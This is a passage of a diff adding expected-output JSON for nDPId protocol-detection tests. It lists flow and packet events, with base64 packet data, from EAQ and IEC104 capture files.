+00412{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821035,"pkt_ts_usec":985821,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07IKCAAByMKUQ8lxF3AAGM41AAAABAAADeEAAkuwAACQAA=="} +00412{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821036,"pkt_ts_usec":45178,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAC5AABARA4XIwpRDCggAARdwyXEAGP41AAAABAAADeEAAkuwAABgAA=="} +00411{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821036,"pkt_ts_usec":45300,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07MKCAAByMKUQqZ8F3AAGLxnAAAABAAADeEABYBxAACQAA=="} +00413{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821036,"pkt_ts_usec":105023,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAC9AABARA4XIwpRCCggAARdwpnwAGOxnAAAABAAADeEABYBxAABgAA=="} +00412{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821036,"pkt_ts_usec":105115,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07EKCAAByMKURKp5F3AAGKdLAAAABAAADeEABpGNAACQAA=="} +00413{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821036,"pkt_ts_usec":155347,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsADBAABARA4LIwpRECggAARdwqnkAGNdLAAAABAAADeEABpGNAABgAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":182,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1432821036155,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821036,"pkt_ts_usec":155499,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rMKCAAByMKNQqHeF3AAGIc+AAAABAAADeIAAsE6AACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":183,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1432821037152,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821037,"pkt_ts_usec":152539,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rEKCAAByMKNRId\/F3AAGLuEAAAABAAADeIABadOAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":184,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1432821038152,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821038,"pkt_ts_usec":152539,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rIKCAAByMKJQ5k1F3AAGKz5AAAABAAADeIABagkAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":185,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1432821039151,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821039,"pkt_ts_usec":151471,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rMKCAAByMKJQtBqF3AAGE9jAAAABAAADeIABc6GAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":186,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1432821040151,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821040,"pkt_ts_usec":151349,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rEKCAAByMKJROo3F3AAGA63AAAABAAADeIABfVjAACQAA=="} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1432821031791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1432821031791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1432821037152,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1432821037152,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1432821039151,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1432821039151,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1432821038152,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1432821038152,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1432821036155,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1432821036155,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1432821040151,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1432821040151,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1432821033791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1432821033791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1432821032791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1432821032791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1432821030791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1432821030791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1432821034791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1432821034791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1432821041151,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821041,"pkt_ts_usec":151349,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rIKCAAByMKBQ5RhF3AAGB9PAAAABAAADeIABkKiAACQAA=="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":188,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1432821042151,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821042,"pkt_ts_usec":151410,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rMKCAAByMKBQr4aF3AAGPSDAAAABAAADeIABkO1AACQAA=="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":189,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1432821043151,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821043,"pkt_ts_usec":151593,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rEKCAAByMKBRLpiF3AAGNE+AAAABAAADeIABmqwAACQAA=="} +00413{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821044,"pkt_ts_usec":151837,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47MKCAAByMKEQqvLF3AAGLWfAAAABAAADeIABpHoAACQAA=="} +00414{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821044,"pkt_ts_usec":555127,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsADFAABARE4PIwoRCCggAARdwq8sAGOWfAAAABAAADeIABpHoAABgAA=="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":192,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1432821044555,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821044,"pkt_ts_usec":555249,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rIKCAAByMKNQ72zF3AAGJnBAAAABAAADeIABpLdAACQAA=="} +00413{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821045,"pkt_ts_usec":551404,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47IKCAAByMKEQ5kRF3AAGFRaAAAABAAADeIABwXmAACQAA=="} +00414{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821045,"pkt_ts_usec":604962,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsADJAABARE4HIwoRDCggAARdwmREAGIRaAAAABAAADeIABwXmAABgAA=="} +00413{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821045,"pkt_ts_usec":605023,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47EKCAAByMKERM32F3AAGHtMAAAABAAADeIAB6oNAACQAA=="} +00415{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821045,"pkt_ts_usec":664807,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsADNAABARE3\/IwoRECggAARdwzfYAGKtMAAAABAAADeIAB6oNAABgAA=="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":197,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1432821045664,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":104,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821045,"pkt_ts_usec":664868,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rMKCAAByMKFQttAF3AAGE3JAAAABAAADeIAB8lIAACQAA=="} diff --git a/test/results/IEC104.pcap.out b/test/results/IEC104.pcap.out new file mode 100644 index 000000000..a72cd7ac5 --- /dev/null +++ b/test/results/IEC104.pcap.out @@ -0,0 +1,19 @@ +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"IEC104.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1317629088495,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"10.175.211.1","dst_ip":"10.119.105.26","src_port":2404,"dst_port":54768,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"IEC104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1317629088,"pkt_ts_usec":495135,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eCvLK7lWABIAxkrACABFAAAoUqRAAH0GWeoKr9MBCndpGglk1fBIoLt3AFkTVVAQ\/elpjgAAAAAAAAAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"IEC104.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1317629088520,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"10.175.211.3","dst_ip":"10.119.105.26","src_port":2404,"dst_port":54769,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 